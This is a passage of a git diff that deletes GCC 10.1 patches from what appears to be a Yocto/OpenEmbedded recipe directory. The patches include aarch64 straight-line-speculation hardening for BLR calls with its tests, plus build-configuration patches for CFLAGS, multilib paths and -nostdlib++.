-- if (to == TAILCALL_ADDR_REGS || to == POINTER_REGS)
-+ if (to == TAILCALL_ADDR_REGS || to == POINTER_REGS
-+ || to == STUB_REGS)
- to = GENERAL_REGS;
-
-- if (from == TAILCALL_ADDR_REGS || from == POINTER_REGS)
-+ if (from == TAILCALL_ADDR_REGS || from == POINTER_REGS
-+ || from == STUB_REGS)
- from = GENERAL_REGS;
-
- /* Make RDFFR very expensive. In particular, if we know that the FFR
-@@ -22957,6 +22963,215 @@ aarch64_sls_barrier (int mitigation_required)
- : "";
- }
-
-+static GTY (()) tree aarch64_sls_shared_thunks[30];
-+static GTY (()) bool aarch64_sls_shared_thunks_needed = false;
-+const char *indirect_symbol_names[30] = {
-+ "__call_indirect_x0",
-+ "__call_indirect_x1",
-+ "__call_indirect_x2",
-+ "__call_indirect_x3",
-+ "__call_indirect_x4",
-+ "__call_indirect_x5",
-+ "__call_indirect_x6",
-+ "__call_indirect_x7",
-+ "__call_indirect_x8",
-+ "__call_indirect_x9",
-+ "__call_indirect_x10",
-+ "__call_indirect_x11",
-+ "__call_indirect_x12",
-+ "__call_indirect_x13",
-+ "__call_indirect_x14",
-+ "__call_indirect_x15",
-+ "", /* "__call_indirect_x16", */
-+ "", /* "__call_indirect_x17", */
-+ "__call_indirect_x18",
-+ "__call_indirect_x19",
-+ "__call_indirect_x20",
-+ "__call_indirect_x21",
-+ "__call_indirect_x22",
-+ "__call_indirect_x23",
-+ "__call_indirect_x24",
-+ "__call_indirect_x25",
-+ "__call_indirect_x26",
-+ "__call_indirect_x27",
-+ "__call_indirect_x28",
-+ "__call_indirect_x29",
-+};
-+
-+/* Function to create a BLR thunk. This thunk is used to mitigate straight
-+ line speculation. Instead of a simple BLR that can be speculated past,
-+ we emit a BL to this thunk, and this thunk contains a BR to the relevant
-+ register. These thunks have the relevant speculation barries put after
-+ their indirect branch so that speculation is blocked.
-+
-+ We use such a thunk so the speculation barriers are kept off the
-+ architecturally executed path in order to reduce the performance overhead.
-+
-+ When optimizing for size we use stubs shared by the linked object.
-+ When optimizing for performance we emit stubs for each function in the hope
-+ that the branch predictor can better train on jumps specific for a given
-+ function. */
-+rtx
-+aarch64_sls_create_blr_label (int regnum)
-+{
-+ gcc_assert (STUB_REGNUM_P (regnum));
-+ if (optimize_function_for_size_p (cfun))
-+ {
-+ /* For the thunks shared between different functions in this compilation
-+ unit we use a named symbol -- this is just for users to more easily
-+ understand the generated assembly. */
-+ aarch64_sls_shared_thunks_needed = true;
-+ const char *thunk_name = indirect_symbol_names[regnum];
-+ if (aarch64_sls_shared_thunks[regnum] == NULL)
-+ {
-+ /* Build a decl representing this function stub and record it for
-+ later. We build a decl here so we can use the GCC machinery for
-+ handling sections automatically (through `get_named_section` and
-+ `make_decl_one_only`). That saves us a lot of trouble handling
-+ the specifics of different output file formats. */
-+ tree decl = build_decl (BUILTINS_LOCATION, FUNCTION_DECL,
-+ get_identifier (thunk_name),
-+ build_function_type_list (void_type_node,
-+ NULL_TREE));
-+ DECL_RESULT (decl) = build_decl (BUILTINS_LOCATION, RESULT_DECL,
-+ NULL_TREE, void_type_node);
-+ TREE_PUBLIC (decl) = 1;
-+ TREE_STATIC (decl) = 1;
-+ DECL_IGNORED_P (decl) = 1;
-+ DECL_ARTIFICIAL (decl) = 1;
-+ make_decl_one_only (decl, DECL_ASSEMBLER_NAME (decl));
-+ resolve_unique_section (decl, 0, false);
-+ aarch64_sls_shared_thunks[regnum] = decl;
-+ }
-+
-+ return gen_rtx_SYMBOL_REF (Pmode, thunk_name);
-+ }
-+
-+ if (cfun->machine->call_via[regnum] == NULL)
-+ cfun->machine->call_via[regnum]
-+ = gen_rtx_LABEL_REF (Pmode, gen_label_rtx ());
-+ return cfun->machine->call_via[regnum];
-+}
-+
-+/* Helper function for aarch64_sls_emit_blr_function_thunks and
-+ aarch64_sls_emit_shared_blr_thunks below. */
-+static void
-+aarch64_sls_emit_function_stub (FILE *out_file, int regnum)
-+{
-+ /* Save in x16 and branch to that function so this transformation does
-+ not prevent jumping to `BTI c` instructions. */
-+ asm_fprintf (out_file, "\tmov\tx16, x%d\n", regnum);
-+ asm_fprintf (out_file, "\tbr\tx16\n");
-+}
-+
-+/* Emit all BLR stubs for this particular function.
-+ Here we emit all the BLR stubs needed for the current function. Since we
-+ emit these stubs in a consecutive block we know there will be no speculation
-+ gadgets between each stub, and hence we only emit a speculation barrier at
-+ the end of the stub sequences.
-+
-+ This is called in the TARGET_ASM_FUNCTION_EPILOGUE hook. */
-+void
-+aarch64_sls_emit_blr_function_thunks (FILE *out_file)
-+{
-+ if (! aarch64_harden_sls_blr_p ())
-+ return;
-+
-+ bool any_functions_emitted = false;
-+ /* We must save and restore the current function section since this assembly
-+ is emitted at the end of the function. This means it can be emitted *just
-+ after* the cold section of a function. That cold part would be emitted in
-+ a different section. That switch would trigger a `.cfi_endproc` directive
-+ to be emitted in the original section and a `.cfi_startproc` directive to
-+ be emitted in the new section. Switching to the original section without
-+ restoring would mean that the `.cfi_endproc` emitted as a function ends
-+ would happen in a different section -- leaving an unmatched
-+ `.cfi_startproc` in the cold text section and an unmatched `.cfi_endproc`
-+ in the standard text section. */
-+ section *save_text_section = in_section;
-+ switch_to_section (function_section (current_function_decl));
-+ for (int regnum = 0; regnum < 30; ++regnum)
-+ {
-+ rtx specu_label = cfun->machine->call_via[regnum];
-+ if (specu_label == NULL)
-+ continue;
-+
-+ targetm.asm_out.print_operand (out_file, specu_label, 0);
-+ asm_fprintf (out_file, ":\n");
-+ aarch64_sls_emit_function_stub (out_file, regnum);
-+ any_functions_emitted = true;
-+ }
-+ if (any_functions_emitted)
-+ /* Can use the SB if needs be here, since this stub will only be used
-+ by the current function, and hence for the current target. */
-+ asm_fprintf (out_file, "\t%s\n", aarch64_sls_barrier (true));
-+ switch_to_section (save_text_section);
-+}
-+
-+/* Emit shared BLR stubs for the current compilation unit.
-+ Over the course of compiling this unit we may have converted some BLR
-+ instructions to a BL to a shared stub function. This is where we emit those
-+ stub functions.
-+ This function is for the stubs shared between different functions in this
-+ compilation unit. We share when optimizing for size instead of speed.
-+
-+ This function is called through the TARGET_ASM_FILE_END hook. */
-+void
-+aarch64_sls_emit_shared_blr_thunks (FILE *out_file)
-+{
-+ if (! aarch64_sls_shared_thunks_needed)
-+ return;
-+
-+ for (int regnum = 0; regnum < 30; ++regnum)
-+ {
-+ tree decl = aarch64_sls_shared_thunks[regnum];
-+ if (!decl)
-+ continue;
-+
-+ const char *name = indirect_symbol_names[regnum];
-+ switch_to_section (get_named_section (decl, NULL, 0));
-+ ASM_OUTPUT_ALIGN (out_file, 2);
-+ targetm.asm_out.globalize_label (out_file, name);
-+ /* Only emits if the compiler is configured for an assembler that can
-+ handle visibility directives. */
-+ targetm.asm_out.assemble_visibility (decl, VISIBILITY_HIDDEN);
-+ ASM_OUTPUT_TYPE_DIRECTIVE (out_file, name, "function");
-+ ASM_OUTPUT_LABEL (out_file, name);
-+ aarch64_sls_emit_function_stub (out_file, regnum);
-+ /* Use the most conservative target to ensure it can always be used by any
-+ function in the translation unit. */
-+ asm_fprintf (out_file, "\tdsb\tsy\n\tisb\n");
-+ ASM_DECLARE_FUNCTION_SIZE (out_file, name, decl);
-+ }
-+}
-+
-+/* Implement TARGET_ASM_FILE_END. */
-+void
-+aarch64_asm_file_end ()
-+{
-+ aarch64_sls_emit_shared_blr_thunks (asm_out_file);
-+ /* Since this function will be called for the ASM_FILE_END hook, we ensure
-+ that what would be called otherwise (e.g. `file_end_indicate_exec_stack`
-+ for FreeBSD) still gets called. */
-+#ifdef TARGET_ASM_FILE_END
-+ TARGET_ASM_FILE_END ();
-+#endif
-+}
-+
-+const char *
-+aarch64_indirect_call_asm (rtx addr)
-+{
-+ gcc_assert (REG_P (addr));
-+ if (aarch64_harden_sls_blr_p ())
-+ {
-+ rtx stub_label = aarch64_sls_create_blr_label (REGNO (addr));
-+ output_asm_insn ("bl\t%0", &stub_label);
-+ }
-+ else
-+ output_asm_insn ("blr\t%0", &addr);
-+ return "";
-+}
-+
- /* Target-specific selftests. */
-
- #if CHECKING_P
-@@ -23507,6 +23722,12 @@ aarch64_libgcc_floating_mode_supported_p
- #undef TARGET_MD_ASM_ADJUST
- #define TARGET_MD_ASM_ADJUST arm_md_asm_adjust
-
-+#undef TARGET_ASM_FILE_END
-+#define TARGET_ASM_FILE_END aarch64_asm_file_end
-+
-+#undef TARGET_ASM_FUNCTION_EPILOGUE
-+#define TARGET_ASM_FUNCTION_EPILOGUE aarch64_sls_emit_blr_function_thunks
-+
- struct gcc_target targetm = TARGET_INITIALIZER;
-
- #include "gt-aarch64.h"
-diff --git a/gcc/config/aarch64/aarch64.h b/gcc/config/aarch64/aarch64.h
-index 8e0fc37..7331450 100644
---- a/gcc/config/aarch64/aarch64.h
-+++ b/gcc/config/aarch64/aarch64.h
-@@ -643,6 +643,16 @@ extern unsigned aarch64_architecture_version;
- #define GP_REGNUM_P(REGNO) \
- (((unsigned) (REGNO - R0_REGNUM)) <= (R30_REGNUM - R0_REGNUM))
-
-+/* Registers known to be preserved over a BL instruction. This consists of the
-+ GENERAL_REGS without x16, x17, and x30. The x30 register is changed by the
-+ BL instruction itself, while the x16 and x17 registers may be used by
-+ veneers which can be inserted by the linker. */
-+#define STUB_REGNUM_P(REGNO) \
-+ (GP_REGNUM_P (REGNO) \
-+ && (REGNO) != R16_REGNUM \
-+ && (REGNO) != R17_REGNUM \
-+ && (REGNO) != R30_REGNUM) \
-+
- #define FP_REGNUM_P(REGNO) \
- (((unsigned) (REGNO - V0_REGNUM)) <= (V31_REGNUM - V0_REGNUM))
-
-@@ -667,6 +677,7 @@ enum reg_class
- {
- NO_REGS,
- TAILCALL_ADDR_REGS,
-+ STUB_REGS,
- GENERAL_REGS,
- STACK_REG,
- POINTER_REGS,
-@@ -689,6 +700,7 @@ enum reg_class
- { \
- "NO_REGS", \
- "TAILCALL_ADDR_REGS", \
-+ "STUB_REGS", \
- "GENERAL_REGS", \
- "STACK_REG", \
- "POINTER_REGS", \
-@@ -708,6 +720,7 @@ enum reg_class
- { \
- { 0x00000000, 0x00000000, 0x00000000 }, /* NO_REGS */ \
- { 0x00030000, 0x00000000, 0x00000000 }, /* TAILCALL_ADDR_REGS */\
-+ { 0x3ffcffff, 0x00000000, 0x00000000 }, /* STUB_REGS */ \
- { 0x7fffffff, 0x00000000, 0x00000003 }, /* GENERAL_REGS */ \
- { 0x80000000, 0x00000000, 0x00000000 }, /* STACK_REG */ \
- { 0xffffffff, 0x00000000, 0x00000003 }, /* POINTER_REGS */ \
-@@ -862,6 +875,8 @@ typedef struct GTY (()) machine_function
- struct aarch64_frame frame;
- /* One entry for each hard register. */
- bool reg_is_wrapped_separately[LAST_SAVED_REGNUM];
-+ /* One entry for each general purpose register. */
-+ rtx call_via[SP_REGNUM];
- bool label_is_assembled;
- } machine_function;
- #endif
-diff --git a/gcc/config/aarch64/aarch64.md b/gcc/config/aarch64/aarch64.md
-index dda04ee..43da754 100644
---- a/gcc/config/aarch64/aarch64.md
-+++ b/gcc/config/aarch64/aarch64.md
-@@ -1022,16 +1022,15 @@
- )
-
- (define_insn "*call_insn"
-- [(call (mem:DI (match_operand:DI 0 "aarch64_call_insn_operand" "r, Usf"))
-+ [(call (mem:DI (match_operand:DI 0 "aarch64_call_insn_operand" "Ucr, Usf"))
- (match_operand 1 "" ""))
- (unspec:DI [(match_operand:DI 2 "const_int_operand")] UNSPEC_CALLEE_ABI)
- (clobber (reg:DI LR_REGNUM))]
- ""
- "@
-- blr\\t%0
-+ * return aarch64_indirect_call_asm (operands[0]);
- bl\\t%c0"
-- [(set_attr "type" "call, call")]
--)
-+ [(set_attr "type" "call, call")])
-
- (define_expand "call_value"
- [(parallel
-@@ -1050,13 +1049,13 @@
-
- (define_insn "*call_value_insn"
- [(set (match_operand 0 "" "")
-- (call (mem:DI (match_operand:DI 1 "aarch64_call_insn_operand" "r, Usf"))
-+ (call (mem:DI (match_operand:DI 1 "aarch64_call_insn_operand" "Ucr, Usf"))
- (match_operand 2 "" "")))
- (unspec:DI [(match_operand:DI 3 "const_int_operand")] UNSPEC_CALLEE_ABI)
- (clobber (reg:DI LR_REGNUM))]
- ""
- "@
-- blr\\t%1
-+ * return aarch64_indirect_call_asm (operands[1]);
- bl\\t%c1"
- [(set_attr "type" "call, call")]
- )
-diff --git a/gcc/config/aarch64/constraints.md b/gcc/config/aarch64/constraints.md
-index d993268..8cc6f50 100644
---- a/gcc/config/aarch64/constraints.md
-+++ b/gcc/config/aarch64/constraints.md
-@@ -24,6 +24,15 @@
- (define_register_constraint "Ucs" "TAILCALL_ADDR_REGS"
- "@internal Registers suitable for an indirect tail call")
-
-+(define_register_constraint "Ucr"
-+ "aarch64_harden_sls_blr_p () ? STUB_REGS : GENERAL_REGS"
-+ "@internal Registers to be used for an indirect call.
-+ This is usually the general registers, but when we are hardening against
-+ Straight Line Speculation we disallow x16, x17, and x30 so we can use
-+ indirection stubs. These indirection stubs cannot use the above registers
-+ since they will be reached by a BL that may have to go through a linker
-+ veneer.")
-+
- (define_register_constraint "w" "FP_REGS"
- "Floating point and SIMD vector registers.")
-
-diff --git a/gcc/config/aarch64/predicates.md b/gcc/config/aarch64/predicates.md
-index 215fcec..1754b1e 100644
---- a/gcc/config/aarch64/predicates.md
-+++ b/gcc/config/aarch64/predicates.md
-@@ -32,7 +32,8 @@
-
- (define_predicate "aarch64_general_reg"
- (and (match_operand 0 "register_operand")
-- (match_test "REGNO_REG_CLASS (REGNO (op)) == GENERAL_REGS")))
-+ (match_test "REGNO_REG_CLASS (REGNO (op)) == STUB_REGS
-+ || REGNO_REG_CLASS (REGNO (op)) == GENERAL_REGS")))
-
- ;; Return true if OP a (const_int 0) operand.
- (define_predicate "const0_operand"
-diff --git a/gcc/testsuite/gcc.target/aarch64/sls-mitigation/sls-miti-blr-bti.c b/gcc/testsuite/gcc.target/aarch64/sls-mitigation/sls-miti-blr-bti.c
-new file mode 100644
-index 0000000..b1fb754
---- /dev/null
-+++ b/gcc/testsuite/gcc.target/aarch64/sls-mitigation/sls-miti-blr-bti.c
-@@ -0,0 +1,40 @@
-+/* { dg-do compile } */
-+/* { dg-additional-options "-mharden-sls=blr -mbranch-protection=bti" } */
-+/*
-+ Ensure that the SLS hardening of BLR leaves no BLR instructions.
-+ Here we also check that there are no BR instructions with anything except an
-+ x16 or x17 register. This is because a `BTI c` instruction can be branched
-+ to using a BLR instruction using any register, but can only be branched to
-+ with a BR using an x16 or x17 register.
-+ */
-+typedef int (foo) (int, int);
-+typedef void (bar) (int, int);
-+struct sls_testclass {
-+ foo *x;
-+ bar *y;
-+ int left;
-+ int right;
-+};
-+
-+/* We test both RTL patterns for a call which returns a value and a call which
-+ does not. */
-+int blr_call_value (struct sls_testclass x)
-+{
-+ int retval = x.x(x.left, x.right);
-+ if (retval % 10)
-+ return 100;
-+ return 9;
-+}
-+
-+int blr_call (struct sls_testclass x)
-+{
-+ x.y(x.left, x.right);
-+ if (x.left % 10)
-+ return 100;
-+ return 9;
-+}
-+
-+/* { dg-final { scan-assembler-not {\tblr\t} } } */
-+/* { dg-final { scan-assembler-not {\tbr\tx(?!16|17)} } } */
-+/* { dg-final { scan-assembler {\tbr\tx(16|17)} } } */
-+
-diff --git a/gcc/testsuite/gcc.target/aarch64/sls-mitigation/sls-miti-blr.c b/gcc/testsuite/gcc.target/aarch64/sls-mitigation/sls-miti-blr.c
-new file mode 100644
-index 0000000..88bafff
---- /dev/null
-+++ b/gcc/testsuite/gcc.target/aarch64/sls-mitigation/sls-miti-blr.c
-@@ -0,0 +1,33 @@
-+/* { dg-additional-options "-mharden-sls=blr -save-temps" } */
-+/* Ensure that the SLS hardening of BLR leaves no BLR instructions.
-+ We only test that all BLR instructions have been removed, not that the
-+ resulting code makes sense. */
-+typedef int (foo) (int, int);
-+typedef void (bar) (int, int);
-+struct sls_testclass {
-+ foo *x;
-+ bar *y;
-+ int left;
-+ int right;
-+};
-+
-+/* We test both RTL patterns for a call which returns a value and a call which
-+ does not. */
-+int blr_call_value (struct sls_testclass x)
-+{
-+ int retval = x.x(x.left, x.right);
-+ if (retval % 10)
-+ return 100;
-+ return 9;
-+}
-+
-+int blr_call (struct sls_testclass x)
-+{
-+ x.y(x.left, x.right);
-+ if (x.left % 10)
-+ return 100;
-+ return 9;
-+}
-+
-+/* { dg-final { scan-assembler-not {\tblr\t} } } */
-+/* { dg-final { scan-assembler {\tbr\tx[0-9][0-9]?} } } */
---
-2.7.4
-
diff --git a/meta/recipes-devtools/gcc/gcc-10.1/0003-gcc-4.3.3-SYSROOT_CFLAGS_FOR_TARGET.patch b/meta/recipes-devtools/gcc/gcc-10.1/0003-gcc-4.3.3-SYSROOT_CFLAGS_FOR_TARGET.patch
deleted file mode 100644
index 27237feb5a..0000000000
--- a/meta/recipes-devtools/gcc/gcc-10.1/0003-gcc-4.3.3-SYSROOT_CFLAGS_FOR_TARGET.patch
+++ /dev/null
@@ -1,70 +0,0 @@
-From 6e3395c0bc933bdc3242d1dead4896d0aa4e11a8 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 29 Mar 2013 09:08:31 +0400
-Subject: [PATCH] gcc-4.3.3: SYSROOT_CFLAGS_FOR_TARGET
-
-Before committing, I noticed that PR/32161 was marked as a dup of PR/32009, but my previous patch did not fix it.
-
-This alternative patch is better because it lets you just use CFLAGS_FOR_TARGET to set the compilation flags for libgcc. Since bootstrapped target libraries are never compiled with the native compiler, it makes little sense to use different flags for stage1 and later stages. And it also makes little sense to use a different variable than CFLAGS_FOR_TARGET.
-
-Other changes I had to do include:
-
-- moving the creation of default CFLAGS_FOR_TARGET from Makefile.am to configure.ac, because otherwise the BOOT_CFLAGS are substituted into CFLAGS_FOR_TARGET (which is "-O2 -g $(CFLAGS)") via $(CFLAGS). It is also cleaner this way though.
-
-- passing the right CFLAGS to configure scripts as exported environment variables
-
-I also stopped passing LIBCFLAGS to configure scripts since they are unused in the whole src tree. And I updated the documentation as H-P reminded me to do.
-
-Bootstrapped/regtested i686-pc-linux-gnu, will commit to 4.4 shortly. Ok for 4.3?
-
-Signed-off-by: Paolo Bonzini <bonzini@gnu.org>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Upstream-Status: Pending
----
- configure | 32 ++++++++++++++++++++++++++++++++
- 1 file changed, 32 insertions(+)
-
-diff --git a/configure b/configure
-index 226a64939d1..b31dc137fc9 100755
---- a/configure
-+++ b/configure
-@@ -6971,6 +6971,38 @@ fi
-
-
-
-+# During gcc bootstrap, if we use some random cc for stage1 then CFLAGS
-+# might be empty or "-g". We don't require a C++ compiler, so CXXFLAGS
-+# might also be empty (or "-g", if a non-GCC C++ compiler is in the path).
-+# We want to ensure that TARGET libraries (which we know are built with
-+# gcc) are built with "-O2 -g", so include those options when setting
-+# CFLAGS_FOR_TARGET and CXXFLAGS_FOR_TARGET.
-+if test "x$CFLAGS_FOR_TARGET" = x; then
-+ CFLAGS_FOR_TARGET=$CFLAGS
-+ case " $CFLAGS " in
-+ *" -O2 "*) ;;
-+ *) CFLAGS_FOR_TARGET="-O2 $CFLAGS" ;;
-+ esac
-+ case " $CFLAGS " in
-+ *" -g "* | *" -g3 "*) ;;
-+ *) CFLAGS_FOR_TARGET="-g $CFLAGS" ;;
-+ esac
-+fi
-+
-+
-+if test "x$CXXFLAGS_FOR_TARGET" = x; then
-+ CXXFLAGS_FOR_TARGET=$CXXFLAGS
-+ case " $CXXFLAGS " in
-+ *" -O2 "*) ;;
-+ *) CXXFLAGS_FOR_TARGET="-O2 $CXXFLAGS" ;;
-+ esac
-+ case " $CXXFLAGS " in
-+ *" -g "* | *" -g3 "*) ;;
-+ *) CXXFLAGS_FOR_TARGET="-g $CXXFLAGS" ;;
-+ esac
-+fi
-+
-+
- # Handle --with-headers=XXX. If the value is not "yes", the contents of
- # the named directory are copied to $(tooldir)/sys-include.
- if test x"${with_headers}" != x && test x"${with_headers}" != xno ; then
diff --git a/meta/recipes-devtools/gcc/gcc-10.1/0004-64-bit-multilib-hack.patch b/meta/recipes-devtools/gcc/gcc-10.1/0004-64-bit-multilib-hack.patch
deleted file mode 100644
index 7c751bef65..0000000000
--- a/meta/recipes-devtools/gcc/gcc-10.1/0004-64-bit-multilib-hack.patch
+++ /dev/null
@@ -1,116 +0,0 @@
-From 85a7c5aeb82ed61e6ef6d8e061b9da9e6a4a652c Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 29 Mar 2013 09:10:06 +0400
-Subject: [PATCH] 64-bit multilib hack.
-
-GCC has internal multilib handling code but it assumes a very specific rigid directory
-layout. The build system implementation of multilib layout is very generic and allows
-complete customisation of the library directories.
-
-This patch is a partial solution to allow any custom directories to be passed into gcc
-and handled correctly. It forces gcc to use the base_libdir (which is the current
-directory, "."). We need to do this for each multilib that is configured as we don't
-know which compiler options may be being passed into the compiler. Since we have a compiler
-per mulitlib at this point that isn't an issue.
-
-The one problem is the target compiler is only going to work for the default multlilib at
-this point. Ideally we'd figure out which multilibs were being enabled with which paths
-and be able to patch these entries with a complete set of correct paths but this we
-don't have such code at this point. This is something the target gcc recipe should do
-and override these platform defaults in its build config.
-
-Do same for riscv64 and aarch64
-
-RP 15/8/11
-
-Upstream-Status: Inappropriate[OE-Specific]
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Signed-off-by: Elvis Dowson <elvis.dowson@gmail.com>
-Signed-off-by: Mark Hatle <mark.hatle@windriver.com>
----
- gcc/config/aarch64/t-aarch64-linux | 8 ++++----
- gcc/config/i386/t-linux64 | 6 ++----
- gcc/config/mips/t-linux64 | 10 +++-------
- gcc/config/riscv/t-linux | 6 ++++--
- gcc/config/rs6000/t-linux64 | 5 ++---
- 5 files changed, 15 insertions(+), 20 deletions(-)
-
-diff --git a/gcc/config/aarch64/t-aarch64-linux b/gcc/config/aarch64/t-aarch64-linux
-index 83e59e33b85..b1356be1fb4 100644
---- a/gcc/config/aarch64/t-aarch64-linux
-+++ b/gcc/config/aarch64/t-aarch64-linux
-@@ -21,8 +21,8 @@
- LIB1ASMSRC = aarch64/lib1funcs.asm
- LIB1ASMFUNCS = _aarch64_sync_cache_range
-
--AARCH_BE = $(if $(findstring TARGET_BIG_ENDIAN_DEFAULT=1, $(tm_defines)),_be)
--MULTILIB_OSDIRNAMES = mabi.lp64=../lib64$(call if_multiarch,:aarch64$(AARCH_BE)-linux-gnu)
--MULTIARCH_DIRNAME = $(call if_multiarch,aarch64$(AARCH_BE)-linux-gnu)
-+#AARCH_BE = $(if $(findstring TARGET_BIG_ENDIAN_DEFAULT=1, $(tm_defines)),_be)
-+#MULTILIB_OSDIRNAMES = mabi.lp64=../lib64$(call if_multiarch,:aarch64$(AARCH_BE)-linux-gnu)
-+#MULTIARCH_DIRNAME = $(call if_multiarch,aarch64$(AARCH_BE)-linux-gnu)
-
--MULTILIB_OSDIRNAMES += mabi.ilp32=../libilp32$(call if_multiarch,:aarch64$(AARCH_BE)-linux-gnu_ilp32)
-+#MULTILIB_OSDIRNAMES += mabi.ilp32=../libilp32$(call if_multiarch,:aarch64$(AARCH_BE)-linux-gnu_ilp32)
-diff --git a/gcc/config/i386/t-linux64 b/gcc/config/i386/t-linux64
-index 1171e218578..5e057b7e5db 100644
---- a/gcc/config/i386/t-linux64
-+++ b/gcc/config/i386/t-linux64
-@@ -32,7 +32,5 @@
- #
- comma=,
- MULTILIB_OPTIONS = $(subst $(comma),/,$(TM_MULTILIB_CONFIG))
--MULTILIB_DIRNAMES = $(patsubst m%, %, $(subst /, ,$(MULTILIB_OPTIONS)))
--MULTILIB_OSDIRNAMES = m64=../lib64$(call if_multiarch,:x86_64-linux-gnu)
--MULTILIB_OSDIRNAMES+= m32=$(if $(wildcard $(shell echo $(SYSTEM_HEADER_DIR))/../../usr/lib32),../lib32,../lib)$(call if_multiarch,:i386-linux-gnu)
--MULTILIB_OSDIRNAMES+= mx32=../libx32$(call if_multiarch,:x86_64-linux-gnux32)
-+MULTILIB_DIRNAMES = . .
-+MULTILIB_OSDIRNAMES = ../$(shell basename $(base_libdir)) ../$(shell basename $(base_libdir))
-diff --git a/gcc/config/mips/t-linux64 b/gcc/config/mips/t-linux64
-index ceb58d3b5f3..43fe2bf28ab 100644
---- a/gcc/config/mips/t-linux64
-+++ b/gcc/config/mips/t-linux64
-@@ -17,10 +17,6 @@
- # <http://www.gnu.org/licenses/>.
-
- MULTILIB_OPTIONS = mabi=n32/mabi=32/mabi=64
--MULTILIB_DIRNAMES = n32 32 64
--MIPS_EL = $(if $(filter %el, $(firstword $(subst -, ,$(target)))),el)
--MIPS_SOFT = $(if $(strip $(filter MASK_SOFT_FLOAT_ABI, $(target_cpu_default)) $(filter soft, $(with_float))),soft)
--MULTILIB_OSDIRNAMES = \
-- ../lib32$(call if_multiarch,:mips64$(MIPS_EL)-linux-gnuabin32$(MIPS_SOFT)) \
-- ../lib$(call if_multiarch,:mips$(MIPS_EL)-linux-gnu$(MIPS_SOFT)) \
-- ../lib64$(call if_multiarch,:mips64$(MIPS_EL)-linux-gnuabi64$(MIPS_SOFT))
-+MULTILIB_DIRNAMES = . . .
-+MULTILIB_OSDIRNAMES = ../$(shell basename $(base_libdir)) ../$(shell basename $(base_libdir)) ../$(shell basename $(base_libdir))
-+
-diff --git a/gcc/config/riscv/t-linux b/gcc/config/riscv/t-linux
-index 216d2776a18..e4d817621fc 100644
---- a/gcc/config/riscv/t-linux
-+++ b/gcc/config/riscv/t-linux
-@@ -1,3 +1,5 @@
- # Only XLEN and ABI affect Linux multilib dir names, e.g. /lib32/ilp32d/
--MULTILIB_DIRNAMES := $(patsubst rv32%,lib32,$(patsubst rv64%,lib64,$(MULTILIB_DIRNAMES)))
--MULTILIB_OSDIRNAMES := $(patsubst lib%,../lib%,$(MULTILIB_DIRNAMES))
-+#MULTILIB_DIRNAMES := $(patsubst rv32%,lib32,$(patsubst rv64%,lib64,$(MULTILIB_DIRNAMES)))
-+MULTILIB_DIRNAMES := . .
-+#MULTILIB_OSDIRNAMES := $(patsubst lib%,../lib%,$(MULTILIB_DIRNAMES))
-+MULTILIB_OSDIRNAMES := ../$(shell basename $(base_libdir)) ../$(shell basename $(base_libdir))
-diff --git a/gcc/config/rs6000/t-linux64 b/gcc/config/rs6000/t-linux64
-index 264a7e27524..dc9d440f66b 100644
---- a/gcc/config/rs6000/t-linux64
-+++ b/gcc/config/rs6000/t-linux64
-@@ -26,10 +26,9 @@
- # MULTILIB_OSDIRNAMES according to what is found on the target.
-
- MULTILIB_OPTIONS := m64/m32
--MULTILIB_DIRNAMES := 64 32
-+MULTILIB_DIRNAMES := . .
- MULTILIB_EXTRA_OPTS :=
--MULTILIB_OSDIRNAMES := m64=../lib64$(call if_multiarch,:powerpc64-linux-gnu)
--MULTILIB_OSDIRNAMES += m32=$(if $(wildcard $(shell echo $(SYSTEM_HEADER_DIR))/../../usr/lib32),../lib32,../lib)$(call if_multiarch,:powerpc-linux-gnu)
-+MULTILIB_OSDIRNAMES := ../$(shell basename $(base_libdir)) ../$(shell basename $(base_libdir))
-
- rs6000-linux.o: $(srcdir)/config/rs6000/rs6000-linux.c
- $(COMPILE) $<
diff --git a/meta/recipes-devtools/gcc/gcc-10.1/0005-optional-libstdc.patch b/meta/recipes-devtools/gcc/gcc-10.1/0005-optional-libstdc.patch
deleted file mode 100644
index 4020c9e3cf..0000000000
--- a/meta/recipes-devtools/gcc/gcc-10.1/0005-optional-libstdc.patch
+++ /dev/null
@@ -1,122 +0,0 @@
-From 6ddfb0bfcd1eea71acd37ab06f7a4510b9f1d12b Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 29 Mar 2013 09:12:56 +0400
-Subject: [PATCH] optional libstdc
-
-gcc-runtime builds libstdc++ separately from gcc-cross-*. Its configure tests using g++
-will not run correctly since by default the linker will try to link against libstdc++
-which shouldn't exist yet. We need an option to disable -lstdc++
-option whilst leaving -lc, -lgcc and other automatic library dependencies added by gcc
-driver. This patch adds such an option which only disables the -lstdc++.
-
-A "standard" gcc build uses xgcc and hence avoids this. We should ask upstream how to
-do this officially, the likely answer is don't build libstdc++ separately.
-
-RP 29/6/10
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Upstream-Status: Inappropriate [embedded specific]
----
- gcc/c-family/c.opt | 4 ++++
- gcc/cp/g++spec.c | 1 +
- gcc/doc/invoke.texi | 32 +++++++++++++++++++++++++++++++-
- gcc/gcc.c | 1 +
- 4 files changed, 37 insertions(+), 1 deletion(-)
-
-diff --git a/gcc/c-family/c.opt b/gcc/c-family/c.opt
-index c49da99d395..35f712e2c84 100644
---- a/gcc/c-family/c.opt
-+++ b/gcc/c-family/c.opt
-@@ -2025,6 +2025,10 @@ nostdinc++
- C++ ObjC++
- Do not search standard system include directories for C++.
-
-+nostdlib++
-+Driver
-+Do not link standard C++ runtime library
-+
- o
- C ObjC C++ ObjC++ Joined Separate
- ; Documented in common.opt
-diff --git a/gcc/cp/g++spec.c b/gcc/cp/g++spec.c
-index 0ab63bcd211..7b081e9e4f0 100644
---- a/gcc/cp/g++spec.c
-+++ b/gcc/cp/g++spec.c
-@@ -137,6 +137,7 @@ lang_specific_driver (struct cl_decoded_option **in_decoded_options,
- switch (decoded_options[i].opt_index)
- {
- case OPT_nostdlib:
-+ case OPT_nostdlib__:
- case OPT_nodefaultlibs:
- library = -1;
- break;
-diff --git a/gcc/doc/invoke.texi b/gcc/doc/invoke.texi
-index f12d8d12150..cf6cb428e7d 100644
---- a/gcc/doc/invoke.texi
